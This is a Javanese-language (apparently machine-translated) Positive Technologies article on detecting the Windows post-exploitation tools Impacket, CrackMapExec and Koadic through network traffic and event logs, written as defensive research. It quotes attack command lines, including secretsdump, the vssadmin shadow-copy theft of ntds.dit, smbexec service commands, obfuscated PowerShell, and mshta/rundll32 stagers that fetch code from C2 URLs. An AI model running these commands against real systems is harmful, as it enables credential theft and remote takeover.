Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas

Jumlah serangan ing sektor perusahaan saya tambah saben taun: contone ing 2017, 13% liyane kedadosan unik kacathet tinimbang ing 2016, lan ing pungkasan 2018 - 27% liyane kedadeantinimbang ing periode sadurunge. Kalebu ing ngendi alat kerja utama yaiku sistem operasi Windows. Ing 2017-2018, APT Dragonfly, APT28, APT MuddyWater nindakake serangan marang organisasi pamaréntah lan militèr ing Eropah, Amerika Utara lan Arab Saudi. Lan kita nggunakake telung alat kanggo iki - Impacket, CrackMapExec и Koadic. Kode sumbere mbukak lan kasedhiya ing GitHub.

Wigati dicathet yen alat kasebut ora digunakake kanggo penetrasi awal, nanging kanggo ngembangake serangan ing infrastruktur kasebut. Penyerang digunakake ing macem-macem tahapan serangan sawise penetrasi perimeter. Iki, kanthi cara, angel dideteksi lan asring mung kanthi bantuan teknologi ngenali jejak kompromi ing lalu lintas jaringan utawa alat sing ngidini ndeteksi tumindak aktif saka panyerang sawise dheweke wis nembus infrastruktur. Piranti kasebut nyedhiyakake macem-macem fungsi, saka nransfer file menyang sesambungan karo pendaptaran lan nglakokake printah ing mesin remot. Kita nganakake panaliten babagan alat kasebut kanggo nemtokake kegiatan jaringan.

Apa sing kudu kita lakoni:

  • Ngerti carane alat hacking bisa. Temokake apa sing kudu dimanfaatake para penyerang lan teknologi apa sing bisa digunakake.
  • Temokake apa sing ora dideteksi dening piranti keamanan informasi ing tahap pertama serangan. Tahap pengintaian bisa uga dilewati, amarga panyerang minangka penyerang internal, utawa amarga panyerang ngeksploitasi bolongan ing prasarana sing durung dingerteni sadurunge. Dadi bisa kanggo mulihake kabeh chain saka tumindak, mula kepinginan kanggo ndeteksi gerakan luwih.
  • Ngilangi positip palsu saka alat deteksi intrusi. Kita kudu ora lali yen tumindak tartamtu dideteksi ing basis saka pengintaian piyambak, kesalahan Kerep bisa. Biasane ing infrastruktur ana sawetara cara sing cukup, ora bisa dibedakake saka sing sah ing pandang sepisanan, kanggo entuk informasi apa wae.

Apa alat kasebut menehi penyerang? Yen iki Impacket, banjur panyerang nampa perpustakaan gedhe modul sing bisa digunakake ing macem-macem orane tumrap sekolah saka serangan sing tindakake sawise break perimeter. Akeh alat nggunakake modul Impacket internal - contone, Metasploit. Wis dcomexec lan wmiexec kanggo eksekusi printah remot, secretsdump kanggo njupuk akun saka memori sing ditambahake saka Impacket. Akibaté, deteksi sing bener saka kegiatan perpustakaan kasebut bakal njamin deteksi turunan.

Ora kebeneran yen para pangripta nulis "Powered by Impacket" babagan CrackMapExec (utawa mung CME). Kajaba iku, CME duwe fungsi siap kanggo skenario populer: Mimikatz kanggo entuk sandhi utawa hash, implementasi agen Meterpreter utawa Empire kanggo eksekusi remot, lan Bloodhound ing papan.

Alat katelu sing kita pilih yaiku Koadic. Iku cukup anyar, iki diwenehi ing konferensi hacker internasional DEFCON 25 ing 2017 lan dibedakake kanthi pendekatan non-standar: kerjane liwat HTTP, Java Script lan Microsoft Visual Basic Script (VBS). Pendekatan iki diarani manggon ing tanah: alat kasebut nggunakake sakumpulan dependensi lan perpustakaan sing dibangun ing Windows. Pangripta nyebat COM Command & Control, utawa C3.

IMPACKET

Fungsi Impacket jembar banget, wiwit saka pengintaian ing AD lan ngumpulake data saka server MS SQL internal, nganti teknik kanggo entuk kapercayan: iki minangka serangan relay SMB, lan entuk file ntds.dit sing ngemot hash sandhi pangguna saka kontroler domain. Impacket uga nglakokake perintah saka jarak jauh nggunakake papat cara sing beda: WMI, Layanan Manajemen Penjadwal Windows, DCOM, lan SMB, lan mbutuhake kredensial kanggo nglakoni.

Secretsdump

Ayo goleki ing secretsdump. Iki minangka modul sing bisa ngarahake mesin pangguna lan pengontrol domain. Bisa digunakake kanggo njupuk salinan wilayah memori LSA, SAM, SECURITY, NTDS.dit, supaya bisa katon ing orane tumrap sekolah beda saka serangan. Langkah pisanan ing operasi modul yaiku otentikasi liwat SMB, sing mbutuhake sandhi pangguna utawa hash kanggo nindakake serangan Pass the Hash kanthi otomatis. Sabanjure ana panjalukan kanggo mbukak akses menyang Service Control Manager (SCM) lan entuk akses menyang pendaptaran liwat protokol winreg, sing nggunakake panyerang bisa ngerteni data cabang kapentingan lan entuk asil liwat SMB.

Ing Fig. 1 kita waca carane persis nalika nggunakake protokol winreg, akses dijupuk nggunakake tombol pendaptaran karo LSA. Kanggo nindakake iki, gunakake perintah DCERPC kanthi opcode 15 - OpenKey.

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 1. Mbukak kunci pendaptaran nggunakake protokol winreg

Sabanjure, nalika entuk akses menyang kunci, nilai kasebut disimpen kanthi printah SaveKey kanthi opcode 20. Impacket nindakake iki kanthi cara sing spesifik. Iki nyimpen nilai menyang file sing jenenge senar 8 karakter acak ditambah karo .tmp. Kajaba iku, upload luwih saka berkas iki dumadi liwat SMB saka direktori System32 (Fig. 2).

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 2. Skema kanggo entuk kunci pendaptaran saka mesin remot

Pranyata kegiatan kasebut ing jaringan bisa dideteksi kanthi pitakon menyang cabang pendaptaran tartamtu nggunakake protokol winreg, jeneng tartamtu, perintah lan urutane.

Modul iki uga ninggalake jejak ing log acara Windows, supaya gampang dideteksi. Contone, minangka asil saka nglakokaké printah

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Ing log Windows Server 2016, kita bakal weruh urutan utama acara ing ngisor iki:

1. 4624 - remot Logon.
2. 5145 - mriksa hak akses kanggo layanan remot winreg.
3. 5145 - mriksa hak akses file ing direktori System32. Berkas kasebut nduweni jeneng acak sing kasebut ing ndhuwur.
4. 4688 - nggawe proses cmd.exe sing mbukak vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - nggawe proses kanthi printah:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - nggawe proses kanthi printah:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - nggawe proses kanthi printah:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Kaya akeh alat pasca-eksploitasi, Impacket duwe modul kanggo nglakokake perintah saka jarak jauh. Kita bakal fokus ing smbexec, sing nyedhiyakake cangkang printah interaktif ing mesin remot. Modul iki uga mbutuhake otentikasi liwat SMB, kanthi tembung sandhi utawa hash sandhi. Ing Fig. Ing Figure 3 kita ndeleng conto carane alat kuwi dianggo, ing kasus iki console administrator lokal.

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 3. Konsol smbexec interaktif

Langkah pisanan smbexec sawise otentikasi yaiku mbukak SCM nganggo perintah OpenSCManagerW (15). Pitakonan kasebut penting: kolom MachineName yaiku DUMMY.

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 4. Panjaluk kanggo mbukak Service Control Manager

Sabanjure, layanan digawe nggunakake perintah CreateServiceW (12). Ing kasus smbexec, kita bisa ndeleng logika construction printah padha saben wektu. Ing Fig. 5 ijo nuduhake paramèter printah sing ora bisa diganti, kuning nuduhake apa sing bisa diowahi dening panyerang. Gampang kanggo ndeleng jeneng file eksekusi, direktori lan file output bisa diganti, nanging liyane angel diganti tanpa ngganggu logika modul Impacket.

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 5. Panjaluk nggawe layanan nggunakake Service Control Manager

Smbexec uga ninggalake jejak sing jelas ing log acara Windows. Ing log Windows Server 2016 kanggo cangkang printah interaktif kanthi printah ipconfig, kita bakal weruh urutan acara utama ing ngisor iki:

1. 4697 - instalasi layanan ing mesin korban:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - nggawe proses cmd.exe kanthi argumen saka titik 1.
3. 5145 - mriksa hak akses kanggo file __output ing direktori C $.
4. 4697 - instalasi layanan ing mesin korban.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - nggawe proses cmd.exe kanthi argumen saka titik 4.
6. 5145 - mriksa hak akses kanggo file __output ing direktori C $.

Impacket minangka basis kanggo pangembangan alat serangan. Ndhukung meh kabeh protokol ing infrastruktur Windows lan ing wektu sing padha nduweni fitur karakteristik dhewe. Punika panjalukan winreg tartamtu, lan nggunakake SCM API karo tatanan printah karakteristik, lan format jeneng berkas, lan SMB nuduhake SYSTEM32.

CRACKMAPEXEC

Alat CME dirancang utamane kanggo ngotomatisasi tumindak rutin sing kudu ditindakake panyerang kanggo maju ing jaringan. Iku ngijini sampeyan kanggo bisa bebarengan karo agen Kakaisaran kondhang lan Meterpreter. Kanggo nglakokake prentah kanthi rahasia, CME bisa mbingungake. Nggunakake Bloodhound (alat pengintaian sing kapisah), panyerang bisa ngotomatisasi panelusuran kanggo sesi administrator domain sing aktif.

pundi

Bloodhound, minangka alat mandiri, ngidini pengintaian majeng ing jaringan kasebut. Nglumpukake data babagan pangguna, mesin, grup, sesi lan diwenehake minangka skrip PowerShell utawa file binar. Protokol basis LDAP utawa SMB digunakake kanggo ngumpulake informasi. Modul integrasi CME ngidini Bloodhound bisa diundhuh menyang mesin korban, mbukak lan nampa data sing diklumpukake sawise eksekusi, saéngga ngotomatisasi tumindak ing sistem kasebut lan ora katon. Cangkang grafis Bloodhound nampilake data sing diklumpukake ing bentuk grafik, sing ngidini sampeyan nemokake dalan paling cendhak saka mesin penyerang menyang administrator domain.

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 6. Antarmuka Bloodhound

Kanggo mbukak ing mesin korban, modul nggawe tugas nggunakake ATSVC lan SMB. ATSVC minangka antarmuka kanggo nggarap Penjadwal Tugas Windows. CME nggunakake fungsi NetrJobAdd (1) kanggo nggawe tugas liwat jaringan. Conto apa sing dikirim modul CME ditampilake ing Fig. 7: Iki minangka perintah cmd.exe lan kode obfuscated ing wangun argumen ing format XML.

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gambar 7. Nggawe tugas liwat CME

Sawise tugas wis diajukake kanggo eksekusi, mesin korban miwiti Bloodhound dhewe, lan iki bisa katon ing lalu lintas. Modul iki ditondoi dening pitakonan LDAP kanggo njupuk kelompok standar, dhaftar kabeh mesin lan pangguna ing domain, lan njupuk informasi bab mau pangguna aktif liwat request SRVSVC NetSessEnum.

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 8. Entuk dhaptar sesi aktif liwat SMB

Kajaba iku, ngluncurake Bloodhound ing mesin korban kanthi audit aktif diiringi acara kanthi ID 4688 (proses nggawe) lan jeneng proses. «C:WindowsSystem32cmd.exe». Sing penting yaiku argumen baris perintah:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Modul enum_avproducts menarik banget saka sudut pandang fungsionalitas lan implementasine. WMI ngidini sampeyan nggunakake basa query WQL kanggo njupuk data saka macem-macem obyek Windows, kang ateges apa modul CME iki digunakake. Iki ngasilake pitakon menyang kelas AntiSpywareProduct lan AntiМirusProduct babagan alat perlindungan sing dipasang ing mesin korban. Kanggo entuk data sing dibutuhake, modul kasebut nyambung menyang ruang jeneng rootSecurityCenter2, banjur ngasilake pitakon WQL lan nampa respon. Ing Fig. Gambar 9 nuduhake isi panjaluk lan tanggapan kasebut. Ing conto kita, Windows Defender ditemokake.

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 9. Aktivitas jaringan modul enum_avproducts

Asring, audit WMI (Trace WMI-Activity), ing acara sampeyan bisa nemokake informasi migunani babagan pitakon WQL, bisa dipateni. Nanging yen diaktifake, banjur yen skrip enum_avproducts diluncurake, acara karo ID 11 bakal disimpen. Bakal ngemot jeneng pangguna sing ngirim panyuwunan lan jeneng ing ruang jeneng rootSecurityCenter2.

Saben modul CME duwe artefak dhewe, dadi pitakon WQL tartamtu utawa nggawe jinis tugas tartamtu ing panjadwal tugas kanthi obfuscation lan kegiatan khusus Bloodhound ing LDAP lan SMB.

KOADIC

Fitur khas Koadic yaiku nggunakake juru basa JavaScript lan VBScript sing dibangun ing Windows. Ing pangertèn iki, ngetutake gaya urip ing tanah - yaiku, ora ana dependensi eksternal lan nggunakake alat Windows standar. Iki minangka alat kanggo Command & Control lengkap (CnC), amarga sawise infèksi "implan" diinstal ing mesin, saéngga bisa dikontrol. Mesin kasebut, ing terminologi Koadic, diarani "zombie". Yen ora ana hak istimewa kanggo operasi lengkap ing sisih korban, Koadic nduweni kemampuan kanggo ngunggahake nggunakake teknik bypass Kontrol Akun Pengguna (UAC bypass).

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 10. Cangkang Koadic

Korban kudu miwiti komunikasi karo server Command & Control. Kanggo nindakake iki, dheweke kudu ngubungi URI sing wis disiapake sadurunge lan nampa awak Koadic utama nggunakake salah sawijining stagers. Ing Fig. Gambar 11 nuduhake conto kanggo stager mshta.

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 11. Initializing sesi karo server CnC

Adhedhasar variabel respon WS, dadi cetha yen eksekusi dumadi liwat WScript.Shell, lan variabel STGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE ngemot informasi kunci babagan paramèter sesi saiki. Iki minangka pasangan panjalukan-respon pisanan ing sambungan HTTP karo server CnC. Panjaluk sabanjure langsung ana gandhengane karo fungsi modul sing diarani (implan). Kabeh modul Koadic bisa digunakake mung karo sesi aktif karo CnC.

Mimikatz

Kaya CME nggarap Bloodhound, Koadic nggarap Mimikatz minangka program sing kapisah lan duwe macem-macem cara kanggo miwiti. Ing ngisor iki minangka pasangan panjaluk-respon kanggo ngundhuh implan Mimikatz.

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 12. Transfer Mimikatz kanggo Koadic

Sampeyan bisa ndeleng carane format URI ing panyuwunan wis diganti. Saiki ngemot nilai kanggo variabel csrf, sing tanggung jawab kanggo modul sing dipilih. Aja nggatekake jenenge; Kita kabeh ngerti yen CSRF biasane dimangerteni kanthi beda. Tanggepan kasebut minangka badan utama Koadic sing padha, sing ditambahake kode sing ana gandhengane karo Mimikatz. Iki cukup gedhe, mula ayo goleki poin-poin penting. Kene kita duwe perpustakaan Mimikatz dienkode ing base64, seri .NET kelas sing bakal inject, lan bantahan kanggo miwiti Mimikatz. Asil eksekusi dikirim liwat jaringan kanthi teks sing cetha.

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 13. Asil mlaku Mimikatz ing mesin remot

Exec_cmd

Koadic uga duwe modul sing bisa nglakokake perintah saka jarak jauh. Ing kene kita bakal weruh metode generasi URI sing padha lan variabel sid lan csrf sing akrab. Ing kasus modul exec_cmd, kode ditambahake menyang awak sing bisa nindakake perintah cangkang. Ing ngisor iki ditampilake kode kasebut sing ana ing respon HTTP saka server CnC.

Cara ndeteksi serangan ing infrastruktur Windows: njelajah alat peretas
Gabah. 14. Kode implan exec_cmd

Variabel GAWTUUGCFI kanthi atribut WS sing akrab dibutuhake kanggo eksekusi kode. Kanthi bantuan, implan kasebut nelpon cangkang, ngolah rong cabang kode - shell.exec kanthi bali saka stream data output lan shell.run tanpa bali.

Koadic dudu alat sing khas, nanging nduweni artefak dhewe sing bisa ditemokake ing lalu lintas sing sah:

  • tatanan khusus panjalukan HTTP,
  • nggunakake winHttpRequests API,
  • nggawe obyek WScript.Shell liwat ActiveXObject,
  • awak eksekusi gedhe.

Sambungan awal diwiwiti dening stager, supaya bisa ndeteksi kegiatan kasebut liwat acara Windows. Kanggo mshta, iki acara 4688, sing nuduhake nggawe proses kanthi atribut wiwitan:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Nalika Koadic mlaku, sampeyan bisa ndeleng acara 4688 liyane kanthi atribut sing cocog karo:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

temonan

Tren urip saka tanah dadi populer ing kalangan kriminal. Dheweke nggunakake alat lan mekanisme sing dibangun ing Windows kanggo kabutuhan. Kita ndeleng alat populer Koadic, CrackMapExec lan Impacket miturut prinsip iki tambah akeh ing laporan APT. Jumlah garpu ing GitHub kanggo alat kasebut uga saya akeh, lan sing anyar katon (saiki wis ana udakara sewu). Tren kasebut dadi populer amarga kesederhanaan: panyerang ora mbutuhake alat pihak katelu; dheweke wis ana ing mesin korban lan mbantu dheweke ngliwati langkah-langkah keamanan. Kita fokus ing sinau komunikasi jaringan: saben alat sing diterangake ing ndhuwur ninggalake jejak dhewe ing lalu lintas jaringan; sinau rinci mau ngidini kita mulang produk kita PT Network Attack Discovery ndeteksi wong-wong mau, kang wekasanipun mbantu kanggo neliti kabeh chain saka kedadosan cyber nglibatno wong.

penulis:

  • Anton Tyurin, Kepala Departemen Pelayanan Ahli, PT Expert Security Center, Positive Technologies
  • Egor Podmokov, pakar, PT Expert Security Center, Positive Technologies

Source: www.habr.com

Add a comment